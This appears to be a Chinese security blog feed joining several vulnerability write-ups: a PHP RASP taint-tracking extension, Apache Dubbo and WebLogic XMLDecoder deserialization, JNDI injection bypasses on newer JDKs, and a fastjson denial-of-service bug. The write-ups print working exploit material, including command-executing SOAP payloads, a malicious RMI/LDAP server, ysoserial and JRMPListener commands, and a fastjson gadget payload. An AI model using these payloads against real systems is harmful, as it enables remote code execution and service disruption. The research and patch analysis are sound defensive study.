zval *p = ZEND_CALL_ARG(call, i + 1);
if (Z_REFCOUNTED_P(p)) Z_ADDREF_P(p);
zend_hash_next_index_insert(Z_ARRVAL(z_params), p);
}
剩下几个opcode挖坑
继续参考fate0师傅的xmark项目,在扩展中通过PHP_FUNCTION
来定义xmark
函数,帮助我们标记字符串,传递一个字符串引用,返回是否标记成功。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22PHP_FUNCTION(xmark)
{
zval *z_str;
if (!XMARK_G(enable)) {
RETURN_FALSE;
}
// 获取参数,第一个参数为接收参数的个数,ZEND_NUM_ARGS()为有多少要多少,z为zval类型,引用传参通过zend_parse_parameters只能用z,第三个为存储参数变量的指针
if (zend_parse_parameters(ZEND_NUM_ARGS(), "z", &z_str) == FAILURE) {
return;
}
ZVAL_DEREF(z_str); // 在php-src-php-7.0.33/Zend/zend_types.h中定义,如果z_str是引用则找到其具体引用的zval
// 只能标记字符串,所以array和其他类型得先遍历一下
if (IS_STRING != Z_TYPE_P(z_str) || Z_STRLEN_P(z_str) == 0) {
RETURN_FALSE;
}
if (xmark_zstr(z_str) == FAILURE) {
RETURN_FALSE;
}
RETURN_TRUE;
}
其中标记字符部分在xmark_zstr
函数中处理:1
2
3
4
5
6
7
8
9
10
11static zend_always_inline int xmark_zstr(zval *z_str)
{
if (!XCHECK_FLAG(Z_STR_P(z_str))) {
zend_string *str = zend_string_init(Z_STRVAL_P(z_str), Z_STRLEN_P(z_str), 0);
ZSTR_LEN(str) = Z_STRLEN_P(z_str);
zend_string_release(Z_STR_P(z_str)); // 释放z_str字符串
XMARK_FLAG(str); // 标记字符串
ZVAL_STR(z_str, str); // 标记完了后,将z_str的值设为str
}
return SUCCESS;
}
在具体的XMARK_FLAG
和XCHECK_FLAG
函数这样实现的,xmark/php_xmark.h#411
2
3
4
5
6
7
8
9
10
11
12
先判断php版本,7.0.3为分界线,我这里是7.0.33,通过宏定义实现标记、清除、检测flag的功能,其中GC_FLAGS
函数为php内核中php-src-php-7.0.33/Zend/zend_types.h
的宏定义,借助了垃圾回收结构的gc.u.v.flags
字段的未被使用的标记位来记录是否被污染:
而在清除标记、检测标记的实现中思路也和这个类似,通过xmark/php_xmark.h
的宏进行运算。
思路是这样的,像phpwaf
一样在项目最开始的地方,污点标记HTTP请求中可控的参数,称之为source
点标记:1
2
3
4
5
6
7
8
9
10
11prvd_xmark($_GET, true);
prvd_xmark($_POST, true);
prvd_xmark($_COOKIE, true);
prvd_xmark($_FILES, true);
prvd_xmark($_REQUEST, true);
foreach ($_SERVER as $key => &$value) {
if (stripos($key, 'HTTP_') === 0) {
prvd_xmark($value);
}
}
这些参数经过拼接、赋值等操作不断的传递,我们把他称之为filter
点,在这个过程标记也要随之传递,一个例子:1
2
3
4
5
6
7function base64_decode($data, ...$args) {
$result = call_user_func(PRVD_RENAME_PREFIX."base64_decode", $data, ...$args);
if (PRVD_TAINT_ENABLE && prvd_xcheck($data)) {
prvd_xmark($result);
}
return $result;
}
在遇到base64解码操作时,如果source
点已被标记,则传递标记给解码后的字符串。
最后就是威胁判断的过程,这些数据在最后到达敏感函数的sink
点,比如system
、eval
这些高危函数,判断标记是否还存在,即检测是否有可控的风险。
最后想了一下payload模式的缺点,在多入口php文件时,容易产生遗漏包含waf的情况,导致误报的问题,当然如果把全部逻辑都写到扩展中,与之而言的代价就是开发难度极高。其次Fuzz模式特殊漏洞检测需要指定的payload,且检测的精度取决于payload的精度。不过我觉得有污点检测功能就够了。
花了差不多半个月的时间来研究PHP的RASP机制,从php内核到各种开源的rasp项目都有了一个深入的学习。写C语言扩展,研究php底层太硬核了,属实自闭,以后打算再研究一下java的rasp机制。
最后膜前辈们的探索和分享。
参考文章:
]]>前几天360发了一则Apache Dubbo的漏洞预警,@hu3sky师傅让我帮他看看这个漏洞复现的问题。Burp打二进制的反序列化数据有一点bug,这里记录一下解决的过程。
1 | git clone https://github.com/apache/dubbo-samples.git |
修改/dubbo-samples/java/dubbo-samples-http/pom.xml
1
2
3
4
5
6<properties>
<source.level>1.8</source.level>
<target.level>1.8</target.level>
<!--修改版本为2.7.3-->
<dubbo.version>2.7.3</dubbo.version>
...
再加一个dependency,作为gadget:1
2
3
4
5
6<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
然后 mvn clean package
接着 mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java
或者扔进idea里,配一个-Djava.net.preferIPv4Stack=true
参数
还要配一个zookeeper:
zookeeper-3.4.14.ta
执行bin/zkServer.sh
,如果提示no such file zoo.cfg
,在conf
目录下把zoo-sample.cfg
改成zoo.cfg
,然后继续执行即可。
踩了一堆坑,yso生成的反序列化数据,直接贴进burp是有蜜汁bug的,最后的解决办法有两种:
在dispatch文件处理http路由分发,/org/apache/dubbo/remoting/http/servlet/DispatcherServlet.java
跟进handle
函数:/org/apache/dubbo/rpc/protocol/http/HttpProtocol.java
判断是否为post请求,然后继续处理Request:/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.class
将request的post输入传入:
最后在/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.class, 调用readObject()
调用栈:
一个sample环境的反序列化,要结合其他组件才能利用,个人感觉危害面不是很大。
新版的修复策略,在处理路由的handle
函数,使用了另外一个组件,且在处理非json数据的时候会抛出异常。
关于java反序列化,可以参考这篇文章,写的很详细深入@gyyyy《浅析Java序列化和反序列化》。
XMLDecoder是java中的一个类,不是Weblogic特有的,在这个位置java.beans.XMLDecoder
,个人理解和传统反序列化类似,只是载体是通过XML来描述序列化数据。
下面来看一个解析xml导致反序列化命令执行的demo:1
2
3
4
5
6
7
8
9
10
11
12
13
14import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class test {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("/Users/passer6y/Documents/Code/java/weblogic/test.xml")));
Object result = d.readObject();
d.close();
}
}
test.xml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/></void>
</java>
运行后可以发现,XML转换过来的java代码即1
2
3
4
5import java.lang.ProcessBuilder;
import java.lang.String;
String[] cmdList = {"/bin/bash", "-c", "open -a Calculator"};
new ProcessBuilder(cmdList).start();
关于XMLDecoder解析流程可以看这篇文章:XMLDecoder解析流程分析
vulhub环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
这里需要远程调试,修改配置:docker-compose.yml1
2
3
4
5
6
7version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "7001:7001"
- "8453:8453"
执行docker-compose up -d
,拉起容器后,进入容器,修改配置:/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh
,添加debug配置:1
2debugFlag="true"
export debugFlag
重启容器,再进入容器查看端口:
拷贝源码:1
2docker cp 0e1ef58d4a70:/root/Oracle/Middleware/wlserver_10.3 ./
docker cp 0e1ef58d4a70:/root/Oracle/Middleware/modules ./
折腾好之后,下好断点,浏览器触发请求,结果巨慢,加载了很久。
索性在本地装一个,官网下载安装的jar包,使用这个命令安装java -Dspace.detection=false -jar wls1036_generic.jar
(不加-Dspace.detection=false
参数会爆空间不足)
安装过程教程:https://blog.csdn.net/weixin_40102675/article/details/88180647
装好后启动weblogic1
2cd ~/Oracle/Middleware/user_projects/domains/base_domain/bin
./startWeblogic.sh
去https://127.0.0.1:7001/console,输入密码weblogic weblogic@123
其他debug配置和上述一样。
EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 127.0.0.1:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=mgr2tl959j6r7qbi9dadh0tsv5
Connection: close
Content-Type: text/xml
Content-Length: 599
<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
从poc的路由来看,wls-wsat这个接口出了问题,找到该war包的web.xml配置,定位到其对应的Servlet:weblogic.wsee.wstx.wsat.v10.endpoint.CoordinatorPortTypePortImpl
这个即为漏洞作用的接口,先从exp的响应包返回的调用栈来跟一下processRequest:
weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest
var1即我们传入的XML,var3为soap标签解析结果,跟进weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld
var4为poc关键部分,跟进receive函数,/weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class#receive
一直往下跟:
-> /weblogic/workarea/WorkContextLocalMap.class#receiveRequest
-> /weblogic/workarea/spi/WorkContextEntryImpl.class#readEntry
-> /weblogic/wsee/workarea/WorkContextXmlInputAdapter.class#readUTF
调用了xmlDecoder的readObject
函数进行反序列化操作,最终造成命令执行。
调用栈:
weblogic补丁只给付费用户发,我也就只能康康别人文章里的补丁来分析了。
这里补丁在WorkContextXmlInputAdapter
中添加了validate
验证,限制了Object标签,从而限制通过XML来构造类。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
这个版本对应的poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
也正是因为这样的黑名单限制,所以很快就出了CVE-2017-10271。
这个版本对应的poc,即和上边的区别即将object
修改成void
,就轻松绕过了补丁:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>open -a Calculator</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
简单看了一些XMLDecoder解析流程分析文章中的分析,VoidElementHandler
类继承的ObjectElementsHandler
类,只改写了isArgument
函数,而在整个触发过程中并无影响,所以此处使用void标签与object标签没有区别。
而补丁的形式依然是黑名单限制标签的形式:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
时隔两年:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30POST /_async/AsyncResponseService HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Content-Length: 728
Cookie: remember-me=MXPUSANQRVaBJYtUucUgmQ==
Connection: close
Upgrade-Insecure-Requests: 1
<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="https://www.w3.org/2005/08/addressing" xmlns:asy="https://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java>
<class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string>
<void>
<string>https://xxxx</string>
</void>
</class>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>
使用class标签构造类,但是由于限制了method函数,无法进行函数调用,只能从构造方法下手,且参数为基本类型:
网上通用的有:
这次的修复最终将class标签给禁用了。
https://xz.aliyun.com/t/7116
jdk1.7比jdk1.6多了几个标签property
和field
标签。通过调用静态属性的get
、set
方法来触发。
能力有限,从搭建到复现分析花了不少时间,在过程中也学习收获不少。最后感谢@hu3sky师傅的帮助,以及下面这些师傅的文章分享。
参考文章:
]]>在之前的复现分析过程中用到的jdk版本都是较低的版本,这篇文章主要研究不同jdk版本对JNDI注入不同姿势的影响,以及绕过姿势。关于JNDI注入和RMI的基础知识可以参考这两篇文章学习:
这个方法就是我们常用的加载远程class进行JNDI注入的操作,攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly
系统属性的限制,相对来说更加通用。
但是在JDK 6u132,JDK 7u122,JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启RMI Registry或者COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。
Changelog:
案例参考笔记:深入理解RMI&JRMP&JNDI
产生JNDI注入的原因是客户端lookup
方法可控,我们先在Registry中注册恶意的Reference对象,加载远程类对象。
将Registry的url地址传入InitialContext.lookup(URL)
方法中,这里用低版本8u73下断点调试:
/com/sun/jndi/toolkit/url/GenericURLContext.class
解析URL,将Exploit类传入,lookup
方法调用decodeObject
方法:/com/sun/jndi/rmi/registry/RegistryContext.class
又进入到NamingManager.getObjectInstance
方法:
在进入getObjectInstance
方法后又在319行调用getObjectFactoryFromReference
方法,先从本地的类加载器去classpath
加载目标类,如果没有,则调用loadClass(factoryName, codebase)
去远程加载我们构造的特定类,并将其实例化:
整个利用流程:
再来看看高版本8u201,在RegistryContext.class#decodeObject函数中,增加了trustURLCodebase
的判断,且默认为false
。
多个判断是逻辑与的关系,有一个不成立则可通过,这里可以利用var8.getFactoryClassLocation()
为null
进入NamingManager.getObjectInstance
函数:
接着进入getObjectFactoryFromReference
函数,但是在加载远程类之前又进行了一次null
判断,加载远程类:
所以这里的利用条件就变成了只能用helper.loadClass(factoryName)
加载目标机器中classpath
中的类。从下图NamingManager.java的代码中可以知道,该类要实现 javax.naming.spi.ObjectFactory
接口,且存在getObjectInstance
方法:
总结一下高版本利用条件即:
classpath
类javax.naming.spi.ObjectFactory
接口getObjectInstance
方法在下文中会介绍详细案例利用细节。
除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制,所以适用范围更广。
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
案例参考笔记:深入理解RMI&JRMP&JNDI
这里为了探究具体的修改点,跟进了8u181和8u201两个版本的ldap加载流程,解析codebase的流程不受com.sun.jndi.rmi.object.trustURLCodebase`
com.sun.jndi.cosnaming.object.trustURLCodebase属性影响,但在最后加载远程class的函数
helper.loadClass(factoryName, codebase)高版本8u201条件添加了
trustURLCodebase`(默认为false)的校验,如下图所示:
所以对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认环境下之前这些利用方式都已经失效。然而,我们依然可以进行绕过并完成利用。两种绕过方法如下:
在上文中RMI + JNDI Reference Payload部分我们已经介绍了在高版本修复策略,以及绕过的利用条件。在org.apache.naming.factory.BeanFactory
中刚好满足条件并且存在被利用的可能,该接口存在于Tomcat依赖包中,使用也是非常广泛。
环境搭建
之前用pom.xml拉tomcat的包复现蜜汁原因失败,后来用的MxSrvs里自带的tomcat依赖复现成功了。
为了便于分析去导个源码,找到对应的版本,点下图所示的View All
然后去idea里导入就行了
漏洞复现
poc:
Server.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /Applications/Calculator.app/\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("EvalObj", referenceWrapper);
System.out.println("the Server is bind rmi://127.0.0.1:1098/EvalObj");
}
}
Client.java1
2
3
4
5
6
7
8
9import javax.naming.*;
public class Client {
public static void main(String[] args) throws Exception {
String uri = "rmi://127.0.0.1:1099/EvalObj";
Context ctx = new InitialContext();
ctx.lookup(uri); // 返回加载的远程对象
}
}
漏洞分析
/org/apache/naming/factory/BeanFactory.java 这个类满足上述提到的高版本利用的两个条件:
BeanFactory.java#getObjectInstance,从上文RMI + JNDI注入的触发流程分析中可以知道,可控参数为obj
和name
。
这里限制了传入的对象必须为ResourceRef
类,通过反射调用在148行实例化了一个无参对象,意味着beanClass
得有一个无参构造函数:
接着取出key为forceString
的值进行以,
分割,拆分=
键值对,存入hashMap
对象中:
其后通过反射执行我们指定的之前构造的方法,并可以传入一个字符串类型的参数:
到这里利用过程就结束了,再来跟一下利用限制如何满足,第一个条件是传入的对象必须是属于ResourceRef
类,接着调用了ref.getClassName()
获取beanClassName
,也就是目标类:
跟进ResourceRef
类,该类也是Reference
的子类,在实例化的时候,可以通过构造方法传入目标class:
通过调用父类的构造方法实现成员变量className
的赋值
再来BeanFactory.java看一下ref.get("forceString")
是如何实现的,我们要如果构造poc控制forceString
参数,同样的也是在Reference.java中通过遍历成员变量addrs
数组来进行寻找:
在Reference.java中找到控制addrs元素的办法:
要求我们传入一个RefAddr
类型的addr
,在其子类有一个StringRefAddr
函数:
所以可以通过这样的方式来设置属性:1
new ResourceRef().add(new StringRefAddr("forceString", "xxx"))
在veracode博客中构造的beanClass是javax.el.ELProcessor
,ELProcessor
中有个eval(String)
方法可以执行EL表达式,javax.el.ELProcessor
是Tomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。
翻了一些资料还有一些其他的类符合条件可以作为beanClass注入到BeanFactory中实现利用,比如Orange师傅的Jenkins漏洞实现利用,先挖个坑。
目录是一种分布式数据库,目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。除了RMI服务之外,JNDI也可以与LDAP目录服务进行交互,Java对象在LDAP目录中也有多种存储形式:
这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用。但是高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。
此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData
属性值不为空,则客户端的 obj.decodeObject()
方法就会对这个字段的内容进行反序列化。
假设客户端存在有漏洞的Apache-Commons-Collections-3.1,ldap服务端返回一个ysoserial生成的Exp:1
java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
ldap服务端代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "https://127.0.0.1:80/#Exploit";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: Return Evil Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
//Payload2: Return Evil Serialized Gadget
try {
// java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYX..."));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
jdk8u201测试结果:
这种绕过方式需要利用一个本地的反序列化利用链,来结合JNDI注入的入口来利用。
JRMP(Java Remote Method Protocol),Java远程方法协议,类比于HTTP协议是基于TCP/IP协议,RMI即基于JRMP协议。JRMP规定了RMI通信过程的数据格式等。
以空指针公开赛CTF-treasure这题为例,题目源码:treasure
高版本jdk8u201(默认不开远程类加载),fastjson1.2.61,标准的解析json:me/firesun/treasure/controller/SubmitController.java
SubmitController.java中开启了autotype
:
中间件中LogAspect.java检测type关键字,这里用\x
16进制编码绕就行了,在之前的文章Fastjson 反序列化触发流程分析中有分析。
接着就是寻找JNDI注入点,全局搜lookup(
:
还是有点问题,搜不了class文件,可以mvn拉下源码全局搜
/org/apache/commons/proxy/provider/remoting/RmiProvider.class中有一处lookup
函数调用:
参数name
利用fastjson解析json数据自动调用setXX
方法设置:
再看看reg变量: RmiProvider.class#getRegistry,也就是rmi的客户端实现
1 | public class RmiProvider implements ObjectProvider { |
构造一个JRMP Server,利用RMI触发,在依赖库里引用了commons-collections3.2
,使用ysoserial的commonscollections5:1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 '/Applications/Calculator.app/Contents/MacOS/Calculator'
submit路由发送:1
{"@\u0074ype":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"127.0.0.1","port":"1088","name":"Object"}
同样也要求classpath中的类有反序列化漏洞,借助Registry的入口实现命令执行。
文章研究了多个jdk版本的多种jndi注入方式,以及高版本利用限制分析和绕过方式,收获颇为丰富。
参考文章:
]]>最近在翻资料的时候发现了这样一个有意思的漏洞,简而言之,漏洞产生的原因是开发对输入数据考虑不周全,致使一个索引指针越界,导致拒绝服务的问题。比如我们输入16进制\x0a
,而开发未考虑到恶意攻击者如果只输入\x
,将会导致索引指针往后移动了两个指向了数据之外(越界)的地方.
pom.xml1
2
3
4
5
6<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.59</version>
</dependency>
poc:1
2
3
4
5
6
7
8import com.alibaba.fastjson.JSON;
public class test {
public static void main(String[] args){
String DEATH_STRING = "{\"a\":\"\\x";//输入字符串长度为8
JSON.parse(DEATH_STRING);
}
}
在这篇文章里介绍了fastjson解析json串的机制:fastjson源码解析:JSON Token解析,这里我们记住bp
为读取字符串的指针、sp
为字符缓存区索引就好了:
直接来看解析16进制的代码位置:/parser/JSONLexerBase.java#scanString
跟进next
函数:JSONScanner.java#next()
先给索引指针进行了自增赋值,接着判断索引和实际长度的比较,如果索引比实际长度长或者相等则返回EOI
,否则返回当前索引指向的字符:
经过第一次的next
处理,已经返回EOI(0x1A)
了:
但是他又调用了一次next
(即默认信任用户输入\x
后跟两位字符),此时索引的指针bp
为9了,已经越界了:
然后经过putChar
函数,break
了switch
分支,继续进行这个循环:
跟进isEOF
函数:JSONScanner.java#isEOF:bp+1
已经远大于len了,这个条件永远只能返回false
。
跟进putChar
函数,如果sp
和缓存字符长度相对后,则申请一个char
占用当前sbuf.length
的两倍:
所以最后的结果就是进入一个死循环且成倍申请内存:
在新版本1.2.60中,修改了isEOF
函数的判断条件:
并且增加了x1
和x2
的校验:
其次,在实际的测试中并没有理想中的拒绝服务效果,使用多线程占用也就从100多M涨到2.5G的样子。1
2
3
4
5
6
7
8
9
10
11
12
13
14import com.alibaba.fastjson.JSON;
public class fastjsonDos implements Runnable{
